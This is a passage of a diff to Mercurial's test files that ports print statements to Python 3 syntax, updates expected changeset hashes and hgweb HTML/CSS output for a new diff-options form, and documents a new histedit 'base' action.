+  > print('---- ERRORS')
+  > print(errors.getvalue())
+  > print('---- OS.ENVIRON wsgi variables')
+  > print(sorted([x for x in os.environ if x.startswith('wsgi')]))
+  > print('---- request.ENVIRON wsgi variables')
   > with i._obtainrepo() as repo:
-  >     print sorted([x for x in repo.ui.environ if x.startswith('wsgi')])
+  >     print(sorted([x for x in repo.ui.environ if x.startswith('wsgi')]))
   > EOF
   $ $PYTHON request.py
   ---- STATUS
diff --git a/tests/test-hgweb.t b/tests/test-hgweb.t
--- a/tests/test-hgweb.t
+++ b/tests/test-hgweb.t
@@ -340,7 +340,7 @@
 
   $ get-with-headers.py --twice localhost:$HGPORT 'static/style-gitweb.css' - date etag server
   200 Script output follows
-  content-length: 9007
+  content-length: 9066
   content-type: text/css
   
   body { font-family: sans-serif; font-size: 12px; border:solid #d9d8d1; border-width:1px; margin:10px; background: white; color: black; }
@@ -442,6 +442,12 @@
   }
   div.annotate-info a { color: #0000FF; text-decoration: underline; }
   td.annotate:hover div.annotate-info { display: inline; }
+  
+  #diffopts-form {
+    padding-left: 8px;
+    display: none;
+  }
+  
   .linenr { color:#999999; text-decoration:none }
   div.rss_logo { float: right; white-space: nowrap; }
   div.rss_logo a {
diff --git a/tests/test-highlight.t b/tests/test-highlight.t
--- a/tests/test-highlight.t
+++ b/tests/test-highlight.t
@@ -49,7 +49,7 @@
   >     except (ValueError, IndexError):
   >         n = 10
   >     p = primes()
-  >     print "The first %d primes: %s" % (n, list(islice(p, n)))
+  >     print("The first %d primes: %s" % (n, list(islice(p, n))))
   > EOF
   $ echo >> primes.py  # to test html markup with an empty line just before EOF
   $ hg ci -Ama
@@ -74,7 +74,7 @@
   <script type="text/javascript" src="/static/mercurial.js"></script>
   
   <link rel="stylesheet" href="/highlightcss" type="text/css" />
-  <title>test: 1af356141006 primes.py</title>
+  <title>test: f4fca47b67e6 primes.py</title>
   </head>
   <body>
   
@@ -112,7 +112,7 @@
   <div class="main">
   <h2 class="breadcrumb"><a href="/">Mercurial</a> </h2>
   <h3>
-   view primes.py @ 0:<a href="/rev/1af356141006">1af356141006</a>
+   view primes.py @ 0:<a href="/rev/f4fca47b67e6">f4fca47b67e6</a>
    <span class="tag">tip</span> 
   </h3>
   
@@ -182,7 +182,7 @@
   <span id="l27">    <span class="kn">except</span> <span class="p">(</span><span class="ne">ValueError</span><span class="p">,</span> <span class="ne">IndexError</span><span class="p">):</span></span><a href="#l27"></a>
   <span id="l28">        <span class="n">n</span> <span class="o">=</span> <span class="mi">10</span></span><a href="#l28"></a>
   <span id="l29">    <span class="n">p</span> <span class="o">=</span> <span class="n">primes</span><span class="p">()</span></span><a href="#l29"></a>
-  <span id="l30">    <span class="kn">print</span> <span class="s">&quot;The first </span><span class="si">%d</span><span class="s"> primes: </span><span class="si">%s</span><span class="s">&quot;</span> <span class="o">%</span> <span class="p">(</span><span class="n">n</span><span class="p">,</span> <span class="nb">list</span><span class="p">(</span><span class="n">islice</span><span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="n">n</span><span class="p">)))</span></span><a href="#l30"></a>
+  <span id="l30">    <span class="kn">print</span><span class="p">(</span><span class="s">&quot;The first </span><span class="si">%d</span><span class="s"> primes: </span><span class="si">%s</span><span class="s">&quot;</span> <span class="o">%</span> <span class="p">(</span><span class="n">n</span><span class="p">,</span> <span class="nb">list</span><span class="p">(</span><span class="n">islice</span><span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="n">n</span><span class="p">))))</span></span><a href="#l30"></a>
   <span id="l31"></span><a href="#l31"></a>
   </pre>
   </div>
@@ -251,7 +251,7 @@
   <div class="main">
   <h2 class="breadcrumb"><a href="/">Mercurial</a> </h2>
   <h3>
-   annotate primes.py @ 0:<a href="/rev/1af356141006">1af356141006</a>
+   annotate primes.py @ 0:<a href="/rev/f4fca47b67e6">f4fca47b67e6</a>
    <span class="tag">tip</span> 
   </h3>
   
@@ -284,6 +284,25 @@
   </tr>
   </table>
   
+  
+  <form id="diffopts-form"
+  data-ignorews="0"
+  data-ignorewsamount="0"
+  data-ignorewseol="0"
+  data-ignoreblanklines="0">
+  <span>Ignore whitespace changes - </span>
+  <span>Everywhere:</span>
+  <input id="ignorews-checkbox" type="checkbox" />
+  <span>Within whitespace:</span>
+  <input id="ignorewsamount-checkbox" type="checkbox" />
+  <span>At end of lines:</span>
+  <input id="ignorewseol-checkbox" type="checkbox" />
+  </form>
+  
+  <script type="text/javascript">
+      renderDiffOptsForm();
+  </script>
+  
   <div class="overflow">
   <table class="bigtable">
   <thead>
@@ -299,19 +318,19 @@
     
   <tr id="l1" class="thisrev">
   <td class="annotate parity0">
-  <a href="/annotate/1af356141006/primes.py#l1">
+  <a href="/annotate/f4fca47b67e6/primes.py#l1">
   0
   </a>
   <div class="annotate-info">
   <div>
-  <a href="/annotate/1af356141006/primes.py#l1">
-  1af356141006</a>
+  <a href="/annotate/f4fca47b67e6/primes.py#l1">
+  f4fca47b67e6</a>
   a
   </div>
   <div><em>&#116;&#101;&#115;&#116;</em></div>
   <div>parents: </div>
-  <a href="/diff/1af356141006/primes.py">diff</a>
-  <a href="/rev/1af356141006">changeset</a>
+  <a href="/diff/f4fca47b67e6/primes.py">diff</a>
+  <a href="/rev/f4fca47b67e6">changeset</a>
   </div>
   </td>
   <td class="source followlines-btn-parent"><a href="#l1">     1</a> <span class="sd">&quot;&quot;&quot;Fun with generators. Corresponding Haskell implementation:</span></td>
@@ -321,14 +340,14 @@
   
   <div class="annotate-info">
   <div>
-  <a href="/annotate/1af356141006/primes.py#l2">
-  1af356141006</a>
+  <a href="/annotate/f4fca47b67e6/primes.py#l2">
+  f4fca47b67e6</a>
   a
   </div>
   <div><em>&#116;&#101;&#115;&#116;</em></div>
   <div>parents: </div>
-  <a href="/diff/1af356141006/primes.py">diff</a>
-  <a href="/rev/1af356141006">changeset</a>
+  <a href="/diff/f4fca47b67e6/primes.py">diff</a>
+  <a href="/rev/f4fca47b67e6">changeset</a>
   </div>
   </td>
   <td class="source followlines-btn-parent"><a href="#l2">     2</a> </td>
@@ -338,14 +357,14 @@
   
   <div class="annotate-info">
   <div>
-  <a href="/annotate/1af356141006/primes.py#l3">
-  1af356141006</a>
+  <a href="/annotate/f4fca47b67e6/primes.py#l3">
+  f4fca47b67e6</a>
   a
   </div>
   <div><em>&#116;&#101;&#115;&#116;</em></div>
   <div>parents: </div>
-  <a href="/diff/1af356141006/primes.py">diff</a>
-  <a href="/rev/1af356141006">changeset</a>
+  <a href="/diff/f4fca47b67e6/primes.py">diff</a>
+  <a href="/rev/f4fca47b67e6">changeset</a>
   </div>
   </td>
   <td class="source followlines-btn-parent"><a href="#l3">     3</a> <span class="sd">primes = 2 : sieve [3, 5..]</span></td>
@@ -355,14 +374,14 @@
   
   <div class="annotate-info">
   <div>
-  <a href="/annotate/1af356141006/primes.py#l4">
-  1af356141006</a>
+  <a href="/annotate/f4fca47b67e6/primes.py#l4">
+  f4fca47b67e6</a>
   a
   </div>
   <div><em>&#116;&#101;&#115;&#116;</em></div>
   <div>parents: </div>
-  <a href="/diff/1af356141006/primes.py">diff</a>
-  <a href="/rev/1af356141006">changeset</a>
+  <a href="/diff/f4fca47b67e6/primes.py">diff</a>
+  <a href="/rev/f4fca47b67e6">changeset</a>
   </div>
   </td>
   <td class="source followlines-btn-parent"><a href="#l4">     4</a> <span class="sd">    where sieve (p:ns) = p : sieve [n | n &lt;- ns, mod n p /= 0]</span></td>
@@ -372,14 +391,14 @@
   
   <div class="annotate-info">
   <div>
-  <a href="/annotate/1af356141006/primes.py#l5">
-  1af356141006</a>
+  <a href="/annotate/f4fca47b67e6/primes.py#l5">
+  f4fca47b67e6</a>
   a
   </div>
   <div><em>&#116;&#101;&#115;&#116;</em></div>
   <div>parents: </div>
-  <a href="/diff/1af356141006/primes.py">diff</a>
-  <a href="/rev/1af356141006">changeset</a>
+  <a href="/diff/f4fca47b67e6/primes.py">diff</a>
+  <a href="/rev/f4fca47b67e6">changeset</a>
   </div>
   </td>
   <td class="source followlines-btn-parent"><a href="#l5">     5</a> <span class="sd">&quot;&quot;&quot;</span></td>
@@ -389,14 +408,14 @@
   
   <div class="annotate-info">
   <div>
-  <a href="/annotate/1af356141006/primes.py#l6">
-  1af356141006</a>
+  <a href="/annotate/f4fca47b67e6/primes.py#l6">
+  f4fca47b67e6</a>
   a
   </div>
   <div><em>&#116;&#101;&#115;&#116;</em></div>
   <div>parents: </div>
-  <a href="/diff/1af356141006/primes.py">diff</a>
-  <a href="/rev/1af356141006">changeset</a>
+  <a href="/diff/f4fca47b67e6/primes.py">diff</a>
+  <a href="/rev/f4fca47b67e6">changeset</a>
   </div>
   </td>
   <td class="source followlines-btn-parent"><a href="#l6">     6</a> </td>
@@ -406,14 +425,14 @@
   
   <div class="annotate-info">
   <div>
-  <a href="/annotate/1af356141006/primes.py#l7">
-  1af356141006</a>
+  <a href="/annotate/f4fca47b67e6/primes.py#l7">
+  f4fca47b67e6</a>
   a
   </div>
   <div><em>&#116;&#101;&#115;&#116;</em></div>
   <div>parents: </div>
-  <a href="/diff/1af356141006/primes.py">diff</a>
-  <a href="/rev/1af356141006">changeset</a>
+  <a href="/diff/f4fca47b67e6/primes.py">diff</a>
+  <a href="/rev/f4fca47b67e6">changeset</a>
   </div>
   </td>
   <td class="source followlines-btn-parent"><a href="#l7">     7</a> <span class="kn">from</span> <span class="nn">itertools</span> <span class="kn">import</span> <span class="n">dropwhile</span><span class="p">,</span> <span class="n">ifilter</span><span class="p">,</span> <span class="n">islice</span><span class="p">,</span> <span class="n">count</span><span class="p">,</span> <span class="n">chain</span></td>
@@ -423,14 +442,14 @@
   
   <div class="annotate-info">
   <div>
-  <a href="/annotate/1af356141006/primes.py#l8">
-  1af356141006</a>
+  <a href="/annotate/f4fca47b67e6/primes.py#l8">
+  f4fca47b67e6</a>
   a
   </div>
   <div><em>&#116;&#101;&#115;&#116;</em></div>
   <div>parents: </div>
-  <a href="/diff/1af356141006/primes.py">diff</a>
-  <a href="/rev/1af356141006">changeset</a>
+  <a href="/diff/f4fca47b67e6/primes.py">diff</a>
+  <a href="/rev/f4fca47b67e6">changeset</a>
   </div>
   </td>
   <td class="source followlines-btn-parent"><a href="#l8">     8</a> </td>
@@ -440,14 +459,14 @@
   
   <div class="annotate-info">
   <div>
-  <a href="/annotate/1af356141006/primes.py#l9">
-  1af356141006</a>
+  <a href="/annotate/f4fca47b67e6/primes.py#l9">
+  f4fca47b67e6</a>
   a
   </div>
   <div><em>&#116;&#101;&#115;&#116;</em></div>
   <div>parents: </div>
-  <a href="/diff/1af356141006/primes.py">diff</a>
-  <a href="/rev/1af356141006">changeset</a>
+  <a href="/diff/f4fca47b67e6/primes.py">diff</a>
+  <a href="/rev/f4fca47b67e6">changeset</a>
   </div>
   </td>
   <td class="source followlines-btn-parent"><a href="#l9">     9</a> <span class="kn">def</span> <span class="nf">primes</span><span class="p">():</span></td>
@@ -457,14 +476,14 @@
   
   <div class="annotate-info">
   <div>
-  <a href="/annotate/1af356141006/primes.py#l10">
-  1af356141006</a>
+  <a href="/annotate/f4fca47b67e6/primes.py#l10">
+  f4fca47b67e6</a>
   a
   </div>
   <div><em>&#116;&#101;&#115;&#116;</em></div>
   <div>parents: </div>
-  <a href="/diff/1af356141006/primes.py">diff</a>
-  <a href="/rev/1af356141006">changeset</a>
+  <a href="/diff/f4fca47b67e6/primes.py">diff</a>
+  <a href="/rev/f4fca47b67e6">changeset</a>
   </div>
   </td>
   <td class="source followlines-btn-parent"><a href="#l10">    10</a>     <span class="sd">&quot;&quot;&quot;Generate all primes.&quot;&quot;&quot;</span></td>
@@ -474,14 +493,14 @@
   
   <div class="annotate-info">
   <div>
-  <a href="/annotate/1af356141006/primes.py#l11">
-  1af356141006</a>
+  <a href="/annotate/f4fca47b67e6/primes.py#l11">
+  f4fca47b67e6</a>
   a
   </div>
   <div><em>&#116;&#101;&#115;&#116;</em></div>
   <div>parents: </div>
-  <a href="/diff/1af356141006/primes.py">diff</a>
-  <a href="/rev/1af356141006">changeset</a>
+  <a href="/diff/f4fca47b67e6/primes.py">diff</a>
+  <a href="/rev/f4fca47b67e6">changeset</a>
   </div>
   </td>
   <td class="source followlines-btn-parent"><a href="#l11">    11</a>     <span class="kn">def</span> <span class="nf">sieve</span><span class="p">(</span><span class="n">ns</span><span class="p">):</span></td>
@@ -491,14 +510,14 @@
   
   <div class="annotate-info">
   <div>
-  <a href="/annotate/1af356141006/primes.py#l12">
-  1af356141006</a>
+  <a href="/annotate/f4fca47b67e6/primes.py#l12">
+  f4fca47b67e6</a>
   a
   </div>
   <div><em>&#116;&#101;&#115;&#116;</em></div>
   <div>parents: </div>
-  <a href="/diff/1af356141006/primes.py">diff</a>
-  <a href="/rev/1af356141006">changeset</a>
+  <a href="/diff/f4fca47b67e6/primes.py">diff</a>
+  <a href="/rev/f4fca47b67e6">changeset</a>
   </div>
   </td>
   <td class="source followlines-btn-parent"><a href="#l12">    12</a>         <span class="n">p</span> <span class="o">=</span> <span class="n">ns</span><span class="o">.</span><span class="n">next</span><span class="p">()</span></td>
@@ -508,14 +527,14 @@
   
   <div class="annotate-info">
   <div>
-  <a href="/annotate/1af356141006/primes.py#l13">
-  1af356141006</a>
+  <a href="/annotate/f4fca47b67e6/primes.py#l13">
+  f4fca47b67e6</a>
   a
   </div>
   <div><em>&#116;&#101;&#115;&#116;</em></div>
   <div>parents: </div>
-  <a href="/diff/1af356141006/primes.py">diff</a>
-  <a href="/rev/1af356141006">changeset</a>
+  <a href="/diff/f4fca47b67e6/primes.py">diff</a>
+  <a href="/rev/f4fca47b67e6">changeset</a>
   </div>
   </td>
   <td class="source followlines-btn-parent"><a href="#l13">    13</a>         <span class="c"># It is important to yield *here* in order to stop the</span></td>
@@ -525,14 +544,14 @@
   
   <div class="annotate-info">
   <div>
-  <a href="/annotate/1af356141006/primes.py#l14">
-  1af356141006</a>
+  <a href="/annotate/f4fca47b67e6/primes.py#l14">
+  f4fca47b67e6</a>
   a
   </div>
   <div><em>&#116;&#101;&#115;&#116;</em></div>
   <div>parents: </div>
-  <a href="/diff/1af356141006/primes.py">diff</a>
-  <a href="/rev/1af356141006">changeset</a>
+  <a href="/diff/f4fca47b67e6/primes.py">diff</a>
+  <a href="/rev/f4fca47b67e6">changeset</a>
   </div>
   </td>
   <td class="source followlines-btn-parent"><a href="#l14">    14</a>         <span class="c"># infinite recursion.</span></td>
@@ -542,14 +561,14 @@
   
   <div class="annotate-info">
   <div>
-  <a href="/annotate/1af356141006/primes.py#l15">
-  1af356141006</a>
+  <a href="/annotate/f4fca47b67e6/primes.py#l15">
+  f4fca47b67e6</a>
   a
   </div>
   <div><em>&#116;&#101;&#115;&#116;</em></div>
   <div>parents: </div>
-  <a href="/diff/1af356141006/primes.py">diff</a>
-  <a href="/rev/1af356141006">changeset</a>
+  <a href="/diff/f4fca47b67e6/primes.py">diff</a>
+  <a href="/rev/f4fca47b67e6">changeset</a>
   </div>
   </td>
   <td class="source followlines-btn-parent"><a href="#l15">    15</a>         <span class="kn">yield</span> <span class="n">p</span></td>
@@ -559,14 +578,14 @@
   
   <div class="annotate-info">
   <div>
-  <a href="/annotate/1af356141006/primes.py#l16">
-  1af356141006</a>
+  <a href="/annotate/f4fca47b67e6/primes.py#l16">
+  f4fca47b67e6</a>
   a
   </div>
   <div><em>&#116;&#101;&#115;&#116;</em></div>
   <div>parents: </div>
-  <a href="/diff/1af356141006/primes.py">diff</a>
-  <a href="/rev/1af356141006">changeset</a>
+  <a href="/diff/f4fca47b67e6/primes.py">diff</a>
+  <a href="/rev/f4fca47b67e6">changeset</a>
   </div>
   </td>
   <td class="source followlines-btn-parent"><a href="#l16">    16</a>         <span class="n">ns</span> <span class="o">=</span> <span class="n">ifilter</span><span class="p">(</span><span class="kn">lambda</span> <span class="n">n</span><span class="p">:</span> <span class="n">n</span> <span class="o">%</span> <span class="n">p</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">,</span> <span class="n">ns</span><span class="p">)</span></td>
@@ -576,14 +595,14 @@
   
   <div class="annotate-info">
   <div>
-  <a href="/annotate/1af356141006/primes.py#l17">
-  1af356141006</a>
+  <a href="/annotate/f4fca47b67e6/primes.py#l17">
+  f4fca47b67e6</a>
   a
   </div>
   <div><em>&#116;&#101;&#115;&#116;</em></div>
   <div>parents: </div>
-  <a href="/diff/1af356141006/primes.py">diff</a>
-  <a href="/rev/1af356141006">changeset</a>
+  <a href="/diff/f4fca47b67e6/primes.py">diff</a>
+  <a href="/rev/f4fca47b67e6">changeset</a>
   </div>
   </td>
   <td class="source followlines-btn-parent"><a href="#l17">    17</a>         <span class="kn">for</span> <span class="n">n</span> <span class="ow">in</span> <span class="n">sieve</span><span class="p">(</span><span class="n">ns</span><span class="p">):</span></td>
@@ -593,14 +612,14 @@
   
   <div class="annotate-info">
   <div>
-  <a href="/annotate/1af356141006/primes.py#l18">
-  1af356141006</a>
+  <a href="/annotate/f4fca47b67e6/primes.py#l18">
+  f4fca47b67e6</a>
   a
   </div>
   <div><em>&#116;&#101;&#115;&#116;</em></div>
   <div>parents: </div>
-  <a href="/diff/1af356141006/primes.py">diff</a>
-  <a href="/rev/1af356141006">changeset</a>
+  <a href="/diff/f4fca47b67e6/primes.py">diff</a>
+  <a href="/rev/f4fca47b67e6">changeset</a>
   </div>
   </td>
   <td class="source followlines-btn-parent"><a href="#l18">    18</a>             <span class="kn">yield</span> <span class="n">n</span></td>
@@ -610,14 +629,14 @@
   
   <div class="annotate-info">
   <div>
-  <a href="/annotate/1af356141006/primes.py#l19">
-  1af356141006</a>
+  <a href="/annotate/f4fca47b67e6/primes.py#l19">
+  f4fca47b67e6</a>
   a
   </div>
   <div><em>&#116;&#101;&#115;&#116;</em></div>
   <div>parents: </div>
-  <a href="/diff/1af356141006/primes.py">diff</a>
-  <a href="/rev/1af356141006">changeset</a>
+  <a href="/diff/f4fca47b67e6/primes.py">diff</a>
+  <a href="/rev/f4fca47b67e6">changeset</a>
   </div>
   </td>
   <td class="source followlines-btn-parent"><a href="#l19">    19</a> </td>
@@ -627,14 +646,14 @@
   
   <div class="annotate-info">
   <div>
-  <a href="/annotate/1af356141006/primes.py#l20">
-  1af356141006</a>
+  <a href="/annotate/f4fca47b67e6/primes.py#l20">
+  f4fca47b67e6</a>
   a
   </div>
   <div><em>&#116;&#101;&#115;&#116;</em></div>
   <div>parents: </div>
-  <a href="/diff/1af356141006/primes.py">diff</a>
-  <a href="/rev/1af356141006">changeset</a>
+  <a href="/diff/f4fca47b67e6/primes.py">diff</a>
+  <a href="/rev/f4fca47b67e6">changeset</a>
   </div>
   </td>
   <td class="source followlines-btn-parent"><a href="#l20">    20</a>     <span class="n">odds</span> <span class="o">=</span> <span class="n">ifilter</span><span class="p">(</span><span class="kn">lambda</span> <span class="n">i</span><span class="p">:</span> <span class="n">i</span> <span class="o">%</span> <span class="mi">2</span> <span class="o">==</span> <span class="mi">1</span><span class="p">,</span> <span class="n">count</span><span class="p">())</span></td>
@@ -644,14 +663,14 @@
   
   <div class="annotate-info">
   <div>
-  <a href="/annotate/1af356141006/primes.py#l21">
-  1af356141006</a>
+  <a href="/annotate/f4fca47b67e6/primes.py#l21">
+  f4fca47b67e6</a>
   a
   </div>
   <div><em>&#116;&#101;&#115;&#116;</em></div>
   <div>parents: </div>
-  <a href="/diff/1af356141006/primes.py">diff</a>
-  <a href="/rev/1af356141006">changeset</a>
+  <a href="/diff/f4fca47b67e6/primes.py">diff</a>
+  <a href="/rev/f4fca47b67e6">changeset</a>
   </div>
   </td>
   <td class="source followlines-btn-parent"><a href="#l21">    21</a>     <span class="kn">return</span> <span class="n">chain</span><span class="p">([</span><span class="mi">2</span><span class="p">],</span> <span class="n">sieve</span><span class="p">(</span><span class="n">dropwhile</span><span class="p">(</span><span class="kn">lambda</span> <span class="n">n</span><span class="p">:</span> <span class="n">n</span> <span class="o">&lt;</span> <span class="mi">3</span><span class="p">,</span> <span class="n">odds</span><span class="p">)))</span></td>
@@ -661,14 +680,14 @@
   
   <div class="annotate-info">
   <div>
-  <a href="/annotate/1af356141006/primes.py#l22">
-  1af356141006</a>
+  <a href="/annotate/f4fca47b67e6/primes.py#l22">
+  f4fca47b67e6</a>
   a
   </div>
   <div><em>&#116;&#101;&#115;&#116;</em></div>
   <div>parents: </div>
-  <a href="/diff/1af356141006/primes.py">diff</a>
-  <a href="/rev/1af356141006">changeset</a>
+  <a href="/diff/f4fca47b67e6/primes.py">diff</a>
+  <a href="/rev/f4fca47b67e6">changeset</a>
   </div>
   </td>
   <td class="source followlines-btn-parent"><a href="#l22">    22</a> </td>
@@ -678,14 +697,14 @@
   
   <div class="annotate-info">
   <div>
-  <a href="/annotate/1af356141006/primes.py#l23">
-  1af356141006</a>
+  <a href="/annotate/f4fca47b67e6/primes.py#l23">
+  f4fca47b67e6</a>
   a
   </div>
   <div><em>&#116;&#101;&#115;&#116;</em></div>
   <div>parents: </div>
-  <a href="/diff/1af356141006/primes.py">diff</a>
-  <a href="/rev/1af356141006">changeset</a>
+  <a href="/diff/f4fca47b67e6/primes.py">diff</a>
+  <a href="/rev/f4fca47b67e6">changeset</a>
   </div>
   </td>
   <td class="source followlines-btn-parent"><a href="#l23">    23</a> <span class="kn">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">&quot;__main__&quot;</span><span class="p">:</span></td>
@@ -695,14 +714,14 @@
   
   <div class="annotate-info">
   <div>
-  <a href="/annotate/1af356141006/primes.py#l24">
-  1af356141006</a>
+  <a href="/annotate/f4fca47b67e6/primes.py#l24">
+  f4fca47b67e6</a>
   a
   </div>
   <div><em>&#116;&#101;&#115;&#116;</em></div>
   <div>parents: </div>
-  <a href="/diff/1af356141006/primes.py">diff</a>
-  <a href="/rev/1af356141006">changeset</a>
+  <a href="/diff/f4fca47b67e6/primes.py">diff</a>
+  <a href="/rev/f4fca47b67e6">changeset</a>
   </div>
   </td>
   <td class="source followlines-btn-parent"><a href="#l24">    24</a>     <span class="kn">import</span> <span class="nn">sys</span></td>
@@ -712,14 +731,14 @@
   
   <div class="annotate-info">
   <div>
-  <a href="/annotate/1af356141006/primes.py#l25">
-  1af356141006</a>
+  <a href="/annotate/f4fca47b67e6/primes.py#l25">
+  f4fca47b67e6</a>
   a
   </div>
   <div><em>&#116;&#101;&#115;&#116;</em></div>
   <div>parents: </div>
-  <a href="/diff/1af356141006/primes.py">diff</a>
-  <a href="/rev/1af356141006">changeset</a>
+  <a href="/diff/f4fca47b67e6/primes.py">diff</a>
+  <a href="/rev/f4fca47b67e6">changeset</a>
   </div>
   </td>
   <td class="source followlines-btn-parent"><a href="#l25">    25</a>     <span class="kn">try</span><span class="p">:</span></td>
@@ -729,14 +748,14 @@
   
   <div class="annotate-info">
   <div>
-  <a href="/annotate/1af356141006/primes.py#l26">
-  1af356141006</a>
+  <a href="/annotate/f4fca47b67e6/primes.py#l26">
+  f4fca47b67e6</a>
   a
   </div>
   <div><em>&#116;&#101;&#115;&#116;</em></div>
   <div>parents: </div>
-  <a href="/diff/1af356141006/primes.py">diff</a>
-  <a href="/rev/1af356141006">changeset</a>
+  <a href="/diff/f4fca47b67e6/primes.py">diff</a>
+  <a href="/rev/f4fca47b67e6">changeset</a>
   </div>
   </td>
   <td class="source followlines-btn-parent"><a href="#l26">    26</a>         <span class="n">n</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span></td>
@@ -746,14 +765,14 @@
   
   <div class="annotate-info">
   <div>
-  <a href="/annotate/1af356141006/primes.py#l27">
-  1af356141006</a>
+  <a href="/annotate/f4fca47b67e6/primes.py#l27">
+  f4fca47b67e6</a>
   a
   </div>
   <div><em>&#116;&#101;&#115;&#116;</em></div>
   <div>parents: </div>
-  <a href="/diff/1af356141006/primes.py">diff</a>
-  <a href="/rev/1af356141006">changeset</a>
+  <a href="/diff/f4fca47b67e6/primes.py">diff</a>
+  <a href="/rev/f4fca47b67e6">changeset</a>
   </div>
   </td>
   <td class="source followlines-btn-parent"><a href="#l27">    27</a>     <span class="kn">except</span> <span class="p">(</span><span class="ne">ValueError</span><span class="p">,</span> <span class="ne">IndexError</span><span class="p">):</span></td>
@@ -763,14 +782,14 @@
   
   <div class="annotate-info">
   <div>
-  <a href="/annotate/1af356141006/primes.py#l28">
-  1af356141006</a>
+  <a href="/annotate/f4fca47b67e6/primes.py#l28">
+  f4fca47b67e6</a>
   a
   </div>
   <div><em>&#116;&#101;&#115;&#116;</em></div>
   <div>parents: </div>
-  <a href="/diff/1af356141006/primes.py">diff</a>
-  <a href="/rev/1af356141006">changeset</a>
+  <a href="/diff/f4fca47b67e6/primes.py">diff</a>
+  <a href="/rev/f4fca47b67e6">changeset</a>
   </div>
   </td>
   <td class="source followlines-btn-parent"><a href="#l28">    28</a>         <span class="n">n</span> <span class="o">=</span> <span class="mi">10</span></td>
@@ -780,14 +799,14 @@
   
   <div class="annotate-info">
   <div>
-  <a href="/annotate/1af356141006/primes.py#l29">
-  1af356141006</a>
+  <a href="/annotate/f4fca47b67e6/primes.py#l29">
+  f4fca47b67e6</a>
   a
   </div>
   <div><em>&#116;&#101;&#115;&#116;</em></div>
   <div>parents: </div>
-  <a href="/diff/1af356141006/primes.py">diff</a>
-  <a href="/rev/1af356141006">changeset</a>
+  <a href="/diff/f4fca47b67e6/primes.py">diff</a>
+  <a href="/rev/f4fca47b67e6">changeset</a>
   </div>
   </td>
   <td class="source followlines-btn-parent"><a href="#l29">    29</a>     <span class="n">p</span> <span class="o">=</span> <span class="n">primes</span><span class="p">()</span></td>
@@ -797,31 +816,31 @@
   
   <div class="annotate-info">
   <div>
-  <a href="/annotate/1af356141006/primes.py#l30">
-  1af356141006</a>
+  <a href="/annotate/f4fca47b67e6/primes.py#l30">
+  f4fca47b67e6</a>
   a
   </div>
   <div><em>&#116;&#101;&#115;&#116;</em></div>
   <div>parents: </div>
-  <a href="/diff/1af356141006/primes.py">diff</a>
-  <a href="/rev/1af356141006">changeset</a>
+  <a href="/diff/f4fca47b67e6/primes.py">diff</a>
+  <a href="/rev/f4fca47b67e6">changeset</a>
   </div>
   </td>
-  <td class="source followlines-btn-parent"><a href="#l30">    30</a>     <span class="kn">print</span> <span class="s">&quot;The first </span><span class="si">%d</span><span class="s"> primes: </span><span class="si">%s</span><span class="s">&quot;</span> <span class="o">%</span> <span class="p">(</span><span class="n">n</span><span class="p">,</span> <span class="nb">list</span><span class="p">(</span><span class="n">islice</span><span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="n">n</span><span class="p">)))</span></td>
+  <td class="source followlines-btn-parent"><a href="#l30">    30</a>     <span class="kn">print</span><span class="p">(</span><span class="s">&quot;The first </span><span class="si">%d</span><span class="s"> primes: </span><span class="si">%s</span><span class="s">&quot;</span> <span class="o">%</span> <span class="p">(</span><span class="n">n</span><span class="p">,</span> <span class="nb">list</span><span class="p">(</span><span class="n">islice</span><span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="n">n</span><span class="p">))))</span></td>
   </tr>
   <tr id="l31" class="thisrev">
   <td class="annotate parity0">
   
   <div class="annotate-info">
   <div>
-  <a href="/annotate/1af356141006/primes.py#l31">
-  1af356141006</a>
+  <a href="/annotate/f4fca47b67e6/primes.py#l31">
+  f4fca47b67e6</a>
   a
   </div>
   <div><em>&#116;&#101;&#115;&#116;</em></div>
   <div>parents: </div>
-  <a href="/diff/1af356141006/primes.py">diff</a>
-  <a href="/rev/1af356141006">changeset</a>
+  <a href="/diff/f4fca47b67e6/primes.py">diff</a>
+  <a href="/rev/f4fca47b67e6">changeset</a>
   </div>
   </td>
   <td class="source followlines-btn-parent"><a href="#l31">    31</a> </td>
diff --git a/tests/test-histedit-arguments.t b/tests/test-histedit-arguments.t
--- a/tests/test-histedit-arguments.t
+++ b/tests/test-histedit-arguments.t
@@ -70,6 +70,7 @@
   #  e, edit = use commit, but stop for amending
   #  m, mess = edit commit message without changing commit content
   #  p, pick = use commit
+  #  b, base = checkout changeset and apply further changesets from there
   #  d, drop = remove commit from history
   #  f, fold = use commit, but combine it with the one above
   #  r, roll = like fold, but discard this commit's description and date
@@ -305,6 +306,7 @@
   #  e, edit = use commit, but stop for amending
   #  m, mess = edit commit message without changing commit content
   #  p, pick = use commit
+  #  b, base = checkout changeset and apply further changesets from there
   #  d, drop = remove commit from history
   #  f, fold = use commit, but combine it with the one above
   #  r, roll = like fold, but discard this commit's description and date
@@ -494,7 +496,8 @@
 
   $ cat >>$HGRCPATH <<EOF
   > [experimental]
-  > evolution=createmarkers,allowunstable
+  > evolution.createmarkers=True
+  > evolution.allowunstable=True
   > EOF
   $ hg commit --amend -m 'allow this fold'
   $ hg histedit --continue
@@ -541,6 +544,7 @@
   #  e, edit = use commit, but stop for amending
   #  m, mess = edit commit message without changing commit content
   #  p, pick = use commit
+  #  b, base = checkout changeset and apply further changesets from there
   #  d, drop = remove commit from history
   #  f, fold = use commit, but combine it with the one above
   #  r, roll = like fold, but discard this commit's description and date
diff --git a/tests/test-histedit-base.t b/tests/test-histedit-base.t
--- a/tests/test-histedit-base.t
+++ b/tests/test-histedit-base.t
@@ -5,8 +5,6 @@
   > tglog = log -G --template "{rev}:{node}:{phase} '{desc}'\n"
   > [extensions]
   > histedit=
-  > [experimental]
-  > histeditng=True
   > EOF
 
 Create repo a:
@@ -18,6 +16,7 @@
   adding manifests
   adding file changes
   added 8 changesets with 7 changes to 7 files (+2 heads)
+  new changesets cd010b8cd998:02de42196ebe
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg up tip
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
